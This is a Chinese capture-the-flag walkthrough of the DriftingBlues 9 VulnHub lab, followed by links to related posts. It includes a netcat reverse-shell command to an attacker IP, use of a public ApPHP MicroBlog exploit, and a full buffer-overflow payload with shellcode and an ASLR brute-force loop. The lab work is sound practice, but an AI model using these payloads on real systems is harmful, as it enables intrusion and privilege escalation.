准备:

攻击机:虚拟机kali、本机win10。

靶机:DriftingBlues: 9 (final),下载地址:https://download.vulnhub.com/driftingblues/driftingblues9.ova,下载后直接vbox打开即可。

知识点:内存溢出、ApPHP MicroBlog Free框架漏洞。

注意:这个难度真不是easy,之前做过一个内存溢出靶场的:https://www.cnblogs.com/upfine/p/17140035.html。

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.31.0/24,获得靶机地址:192.168.31.91。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.31.91,显示开放了80、111端口,开启了http服务、rpcbind。

目录扫描:

使用gobuster尝试对80端口进行目录扫描,发现README.txt等文件。

在web服务中访问README.txt文件信息,获得框架版本信息:ApPHP MicroBlog Free 和Version: 1.0.1。

框架漏洞获取shell:

使用searchsploit搜索下ApPHP MicroBlog Free框架的漏洞信息,发现存在一个命令执行漏洞。

使用python2执行该php文件进行漏洞利用,命令:python2 33070.py http://192.168.31.91/index.php,成功获得命令执行权限,并获得一组数据库的账户和密码信息:clapton/yaraklitepe。

使用命令执行窗口进行命令执行时,发现很多命令无法使用,因此尝试进行shell反弹,命令:nc 192.168.31.64 6688 -e /bin/bash,时候使用命令:python -c 'import pty;pty.spawn("/bin/bash")';升级shell。

提权-clapton:

在/home目录下发现账户信息:clapton,与刚才发现的数据库的账户信息一致,因此使用:clapton/yaraklitepe进行尝试切换账户,命令:su clapton,成功切换到clapton账户。

获得clapton账户权限后在/home/clapton目录下发现user.txt、note.txt、input文件,访问user.txt文件,成功获得flag信息。

提权-root:

查看note.txt文件,发现对我们的提示信息:buffer overflow is the way. ( ° ʖ °),告诉我们要利用缓冲区漏洞(或者下载文件后strings input,发现其存在一个未进行限制的strcpy函数,也可以确定)。

通过:find / -perm -4000 -type f 2>/dev/null来查找可疑文件,也只发现了/home目录下的input文件。

尝试执行input,提示我们需要输入字符串。

我们先查看下ASLR(地址随机化,一种缓冲区溢出的安全保护技术)是否被禁止,命令:cat /proc/sys/kernel/randomize_va_space,发现是被开启的。

sudo命令无法使用,没办法关闭ASLR,先把文件下载下来分析下吧,命令:scp input kali@192.168.31.64:/home/kali/Desktop,成功下载input文件。第一次失败是因为kali未开启ssh服务。(这里在把靶机中也是可以直接做的,取出来只是为了方便测试payload)

关掉本地的ASLR进行测试,命令:echo 0 | sudo tee /proc/sys/kernel/randomize_va_space。

然后用 metasploit 中的 pattern_create.rb 生成数量 1000 的字符串用来计算偏移量,命令:/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000。

将生成的字符串用命令 r 在 gdb 中运行,如下,程序报错,显示在这个地址出现错误:0x41376641。

计算下此地址:0x41376641的偏移量,命令:/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41376641,得到其偏移量为171。用 python 构造字符串:$(python -c 'print("A" * 171 + "B" * 4 + "\x90" * 64 )')。

查看下esp寄存器的值,命令:x/s $esp,得到:0xffffd040。用esp 寄存器的替换 4 个 B,因为是小字节序,倒过来写,构造 payload:$(python2 -c 'print("A" * 171 + "\x40\xd0\xff\xff" + "\x90" * 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')

利用构造的payload在本地进行测试,成功获得root权限,命令:r $(python2 -c 'print("A" * 171 + "\x40\xd0\xff\xff" + "\x90" * 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')。

读取下靶机中的esp值,获得:0xbfa4eca0,替换掉上面kali payload中的esp值。

因为靶机上ASLR无法关闭,因此进行多次执行,payload:for i in {1..10000}; do (./input $(python2 -c 'print("A" * 171 + "\xa0\xec\xa4\xbf" + "\x90" * 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')) ; done。获得shell权限后在/root目录下发现root.txt文档,读取该文档信息,成功获得flag值。

vulnhub靶场之DRIFTINGBLUES: 9 (FINAL)的更多相关文章

  1. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  2. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  3. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  4. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  5. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  6. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  7. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  8. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  9. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  10. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

随机推荐

  1. (Java)设计模式:行为型

    前言 此篇博文内容续接的是 UML建模语言.设计原则.创建型设计模式 的内容,有兴趣的可以点前面的链接去看一下 3.2.行为型 这类设计模式是专门用于:对象间的高效沟通和职责委派 * 3.2.1.责任 ...

  2. CKA考试经验:报考和考纲

    1 报考相关 1.有效期一年.在一年内需要定好考试的时间. 2.提前15分钟进入考试系统, 提前进入考试系统后并不是立马开始考试,而是预留给考官时间考察你的考试环境 3.考试时间 ,注意报考的Time ...

  3. JavaScript:对象:如何判断对象是否有某个属性?操作符in

    使用in运算符来判断,有返回true,没有返回false:

  4. 国产paozhu c++ web framework 正式版发布

    经过大半个月测试修改 paozhu c++ web framework 正式版发布, 1.0.5 release 官方第一次发布正式版,可以用于生产环境. 易用性 超越国外各种 c++ web fra ...

  5. (6)go-micro微服务consul配置、注册中心

    目录 一 Consul介绍 1. 注册中心Consul基本介绍 2.注册中心Consul关键功能 3.注册中心Consul两个重要协议 二 Consul安装 1.使用docker拉取镜像 三 Conf ...

  6. python进阶之路4基本运算符、格式化输出

    内容回顾 PEP8规范 代码编写规范及美观 python注释语法 平时养成写注释的习惯 1.警号 2.三个单引号 3.三个双引号 常量与变量 1.变量语法结构 变量名 赋值符合 数据值 2.底层原理 ...

  7. .NetCore下基于FreeRedis实现的Redis6.0客户端缓存之缓存键条件优雅过滤

    前言 众所周知内存缓存(MemoryCache)数据是从内存中获取,性能表现上是最优的,但是内存缓存有一个缺点就是不支持分布式,数据在各个部署节点上各存一份,每份缓存的过期时间不一致,会导致幻读等各种 ...

  8. [BUUCTF]洞拐洞拐洞洞拐

    [BUUCTF] 洞拐洞拐洞洞拐 问题链接:https://buuoj.cn/challenges#洞拐洞拐洞洞拐 问题附件是一张图片. 一. 图片分析 查看图片,发现是由有规律的黑白像素构成的PNG ...

  9. Vue导出模板、使用前端js办法导出表格数据、导入表格前端读取表格数据、导入表格发送后端读取数据

    以下是几种用的较多的函数方法,可以参考使用. // 導出1 myExport() { // post請求文件寫法1 const url = 'http://XXXX/XXXX/XXXX/XXXX' c ...

  10. 基础文之-----typeof 和 instanceof

    为了巩固基础,我会通过实例来详细说明,让我们一起搞懂 typeof 和 instanceof. <!DOCTYPE html> <html lang="en"&g ...